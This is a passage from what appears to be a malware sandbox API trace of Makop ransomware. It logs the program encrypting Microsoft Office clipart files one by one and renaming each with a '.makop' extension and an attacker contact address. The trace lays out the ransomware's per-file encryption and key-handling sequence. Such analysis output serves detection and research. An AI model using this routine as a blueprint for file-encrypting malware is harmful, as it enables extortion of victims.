pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.551] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30e4, lpOverlapped=0x0) returned 1 [0152.552] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30f0) returned 1 [0152.553] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.553] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30f0, lpOverlapped=0x0) returned 1 [0152.553] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.553] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.553] SetEndOfFile (hFile=0xf0) returned 1 [0152.560] GetProcessHeap () returned 0x48a0000 [0152.560] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.560] GetProcessHeap () returned 0x48a0000 [0152.560] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.560] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.561] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.563] CloseHandle (hObject=0xf0) returned 1 [0152.563] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e7d7f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e7d7f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x17a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02413_.WMF", cAlternateFileName="")) returned 1 [0152.563] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF") returned 63 [0152.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.566] GetProcessHeap () returned 0x48a0000 [0152.566] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.566] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.566] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.566] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.570] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.570] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.570] GetProcessHeap () returned 0x48a0000 [0152.570] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.570] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.571] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.571] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.571] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.571] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.571] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.571] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.572] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.572] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.572] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.572] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.572] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17a1c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17a1c, lpOverlapped=0x0) returned 1 [0152.575] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17a20, dwBufLen=0x17a20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17a20) returned 1 [0152.576] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.576] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17a20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17a20, lpOverlapped=0x0) returned 1 [0152.577] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.577] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.577] SetEndOfFile (hFile=0xf0) returned 1 [0152.586] GetProcessHeap () returned 0x48a0000 [0152.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.586] GetProcessHeap () returned 0x48a0000 [0152.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.586] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.588] CloseHandle (hObject=0xf0) returned 1 [0152.588] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9503b100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9503b100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02431_.WMF", cAlternateFileName="")) returned 1 [0152.588] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF") returned 63 [0152.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.590] GetProcessHeap () returned 0x48a0000 [0152.590] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.590] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.590] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.590] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.590] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.590] GetProcessHeap () returned 0x48a0000 [0152.590] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.590] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.590] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.591] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.598] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.598] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.599] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.599] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.599] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.599] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.599] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.599] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.599] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x670, lpOverlapped=0x0) returned 1 [0152.599] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x670, dwBufLen=0x670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x670) returned 1 [0152.600] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.600] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x670, lpOverlapped=0x0) returned 1 [0152.600] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.600] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.600] SetEndOfFile (hFile=0xf0) returned 1 [0152.606] GetProcessHeap () returned 0x48a0000 [0152.606] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.606] GetProcessHeap () returned 0x48a0000 [0152.606] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.606] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.608] CloseHandle (hObject=0xf0) returned 1 [0152.608] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937fbc00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x937fbc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02437_.WMF", cAlternateFileName="")) returned 1 [0152.608] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF") returned 63 [0152.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.609] GetProcessHeap () returned 0x48a0000 [0152.609] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.609] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.609] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.610] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0152.614] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.614] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.614] GetProcessHeap () returned 0x48a0000 [0152.614] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.614] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.614] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.614] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.614] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.615] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.615] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.615] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.615] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.615] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.615] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.615] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.616] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5b4, lpOverlapped=0x0) returned 1 [0152.616] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0) returned 1 [0152.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.616] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c0, lpOverlapped=0x0) returned 1 [0152.616] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.616] SetEndOfFile (hFile=0xf0) returned 1 [0152.623] GetProcessHeap () returned 0x48a0000 [0152.623] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.623] GetProcessHeap () returned 0x48a0000 [0152.623] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.623] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.625] CloseHandle (hObject=0xf0) returned 1 [0152.625] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8793fa00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8793fa00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02439_.WMF", cAlternateFileName="")) returned 1 [0152.625] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF") returned 63 [0152.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.627] GetProcessHeap () returned 0x48a0000 [0152.627] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.627] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.627] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.627] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0152.668] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.668] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.668] GetProcessHeap () returned 0x48a0000 [0152.668] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.668] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.668] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.668] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.668] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.669] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.669] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.669] WriteFile (in: hFile=0xf0, 